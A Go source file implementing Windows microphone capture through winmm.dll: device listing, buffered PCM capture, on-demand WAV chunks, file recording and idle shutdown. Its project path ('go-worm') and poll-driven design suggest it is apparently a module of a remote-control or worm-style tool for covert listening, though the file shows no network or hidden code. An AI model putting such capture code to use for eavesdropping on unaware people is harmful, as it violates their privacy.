//go:build windows package mic import ( "errors" "fmt" "sync" "syscall" "time" "unsafe" "golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) const ( callbackEvent = 0x00050000 whdrDone = 0x00000001 numBuffers = 3 bufferMillis = 200 idleClose = 2 * time.Second maxDeviceName = 32 ) var ( winmm = windows.NewLazySystemDLL("winmm.dll") procWaveInGetNumDevs = winmm.NewProc("waveInGetNumDevs") procWaveInGetDevCapsW = winmm.NewProc("waveInGetDevCapsW") procWaveInOpen = winmm.NewProc("waveInOpen") procWaveInClose = winmm.NewProc("waveInClose") procWaveInPrepareHeader = winmm.NewProc("waveInPrepareHeader") procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader") procWaveInAddBuffer = winmm.NewProc("waveInAddBuffer") procWaveInStart = winmm.NewProc("waveInStart") procWaveInReset = winmm.NewProc("waveInReset") ) type waveFormatEx struct { FormatTag uint16 Channels uint16 SamplesPerSec uint32 AvgBytesPerSec uint32 BlockAlign uint16 BitsPerSample uint16 Size uint16 } type waveInCaps struct { Mid uint16 Pid uint16 DriverVersion uint32 Name [maxDeviceName]uint16 Formats uint32 WChannels uint16 Reserved uint16 } type waveHdr struct { Data uintptr BufferLength uint32 BytesRecorded uint32 User uintptr Flags uint32 Loops uint32 Next uintptr Reserved uintptr } type captureBuffer struct { hdr waveHdr data []byte } var ( mu sync.Mutex sess *captureSession ) type captureSession struct { device int hWave uintptr event windows.Handle stopCh chan struct{} doneOnce sync.Once doneCh chan struct{} buffers []captureBuffer chunkPCM []byte rec *fileRecorder recName string lastPoll time.Time } func List() ([]Device, error) { n, _, _ := procWaveInGetNumDevs.Call() count := int(n) var out []Device for i := 0; i < count; i++ { var caps waveInCaps ok, _, _ := procWaveInGetDevCapsW.Call( uintptr(i), uintptr(unsafe.Pointer(&caps)), unsafe.Sizeof(caps), ) if ok != 0 { continue } name := windows.UTF16ToString(caps.Name[:]) if name == "" { name = fmt.Sprintf("Microphone %d", i) } out = append(out, Device{Index: i, Name: name}) } return out, nil } func Chunk(device int) ([]byte, error) { mu.Lock() defer mu.Unlock() if err := ensureSessionLocked(device); err != nil { return nil, err } sess.lastPoll = time.Now() pcm := append([]byte(nil), sess.chunkPCM...) sess.chunkPCM = nil if len(pcm) == 0 { return nil, ErrNoAudio } return EncodeWAV(pcm), nil } func StartRecord(device int) (string, error) { mu.Lock() defer mu.Unlock() if sess != nil && sess.rec != nil { return "", ErrAlreadyRecording } if err := ensureSessionLocked(device); err != nil { return "", err } name := RecordingFilename(time.Now()) rec, err := openRecorder(name) if err != nil { return "", err } sess.rec = rec sess.recName = name sess.lastPoll = time.Now() return name, nil } func StopRecord() (string, int64, error) { mu.Lock() defer mu.Unlock() if sess == nil || sess.rec == nil { return "", 0, ErrNotRecording } name := sess.recName size, err := sess.rec.Close() sess.rec = nil sess.recName = "" return name, size, err } func Recording() bool { mu.Lock() defer mu.Unlock() return sess != nil && sess.rec != nil } func Stop() { mu.Lock() stopSessionLocked() mu.Unlock() } func ensureSessionLocked(device int) error { if sess != nil && sess.device == device && sess.hWave != 0 { return nil } stopSessionLocked() return startSessionLocked(device) } func startSessionLocked(device int) error { if err := deviceExists(device); err != nil { return err } event, err := windows.CreateEvent(nil, 0, 0, nil) if err != nil { return err } format := waveFormatEx{ FormatTag: 1, Channels: Channels, SamplesPerSec: SampleRate, AvgBytesPerSec: SampleRate * Channels * BytesPerSample, BlockAlign: Channels * BytesPerSample, BitsPerSample: BitsPerSample, } var hWave uintptr bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000 if bufBytes < 1024 { bufBytes = 1024 } ok, _, callErr := procWaveInOpen.Call( uintptr(unsafe.Pointer(&hWave)), uintptr(device), uintptr(unsafe.Pointer(&format)), uintptr(event), 0, callbackEvent, ) if ok != 0 { windows.CloseHandle(event) if callErr != nil && callErr != syscall.Errno(0) { return callErr } return fmt.Errorf("waveInOpen failed") } s := &captureSession{ device: device, hWave: hWave, event: event, stopCh: make(chan struct{}), doneCh: make(chan struct{}), lastPoll: time.Now(), } for i := 0; i < numBuffers; i++ { cb := captureBuffer{data: make([]byte, bufBytes)} if err := prepareBuffer(hWave, &cb); err != nil { closeCapture(s) return err } s.buffers = append(s.buffers, cb) } sess = s go runCaptureLoop(s) go runIdleWatcher(s) ok, _, callErr = procWaveInStart.Call(hWave) if ok != 0 { stopSessionLocked() if callErr != nil && callErr != syscall.Errno(0) { return callErr } return fmt.Errorf("waveInStart failed") } return nil } func deviceExists(device int) error { devices, err := List() if err != nil { return err } for _, d := range devices { if d.Index == device { return nil } } return ErrDeviceNotFound } func prepareBuffer(hWave uintptr, cb *captureBuffer) error { if len(cb.data) == 0 { return errors.New("empty capture buffer") } cb.hdr = waveHdr{ Data: uintptr(unsafe.Pointer(&cb.data[0])), BufferLength: uint32(len(cb.data)), } ok, _, err := procWaveInPrepareHeader.Call( hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr), ) if ok != 0 { if err != nil && err != syscall.Errno(0) { return err } return errors.New("waveInPrepareHeader failed") } ok, _, err = procWaveInAddBuffer.Call( hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr), ) if ok != 0 { _, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) if err != nil && err != syscall.Errno(0) { return err } return errors.New("waveInAddBuffer failed") } return nil } func runIdleWatcher(s *captureSession) { defer helpers.RecoverLog("mic-idle") ticker := time.NewTicker(500 * time.Millisecond) defer ticker.Stop() for { select { case <-s.stopCh: return case <-ticker.C: mu.Lock() if sess == s && s.rec == nil && time.Since(s.lastPoll) > idleClose { stopSessionLocked() } mu.Unlock() } } } func runCaptureLoop(s *captureSession) { defer s.finish() defer helpers.RecoverLog("mic-capture") for { select { case <-s.stopCh: return default: } wait, err := windows.WaitForSingleObject(s.event, 500) if err != nil { continue } if wait == uint32(windows.WAIT_TIMEOUT) { continue } if wait != windows.WAIT_OBJECT_0 { continue } var broken bool mu.Lock() if sess != s { mu.Unlock() return } for i := range s.buffers { cb := &s.buffers[i] if cb.hdr.Flags&whdrDone == 0 { continue } n := int(cb.hdr.BytesRecorded) if n > len(cb.data) { n = len(cb.data) } if n > 0 { pcm := append([]byte(nil), cb.data[:n]...) s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm) if s.rec != nil { if err := s.rec.Write(pcm); err != nil { helpers.Log.Printf("mic record: %v", err) _, _ = s.rec.Close() s.rec = nil s.recName = "" } } } cb.hdr.Flags &^= whdrDone cb.hdr.BytesRecorded = 0 _, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) if err := prepareBuffer(s.hWave, cb); err != nil { helpers.Log.Printf("mic buffer: %v", err) broken = true } } mu.Unlock() if broken { mu.Lock() if sess == s { sess = nil } mu.Unlock() signalCaptureStop(s) return } } } func (s *captureSession) finish() { s.doneOnce.Do(func() { close(s.doneCh) }) } // stopSessionLocked drops the session. Caller must hold mu. // Never wait on capture shutdown while holding mu (deadlock with capture loop). func stopSessionLocked() { if sess == nil { return } s := sess sess = nil mu.Unlock() closeCapture(s) mu.Lock() } func closeCapture(s *captureSession) { signalCaptureStop(s) <-s.doneCh } func signalCaptureStop(s *captureSession) { if s == nil { return } select { case <-s.stopCh: default: close(s.stopCh) } if s.hWave != 0 { _, _, _ = procWaveInReset.Call(s.hWave) for i := range s.buffers { cb := &s.buffers[i] _, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) } _, _, _ = procWaveInClose.Call(s.hWave) s.hWave = 0 } if s.rec != nil { if _, err := s.rec.Close(); err != nil { helpers.Log.Printf("mic record close: %v", err) } s.rec = nil s.recName = "" } if s.event != 0 { windows.CloseHandle(s.event) s.event = 0 } }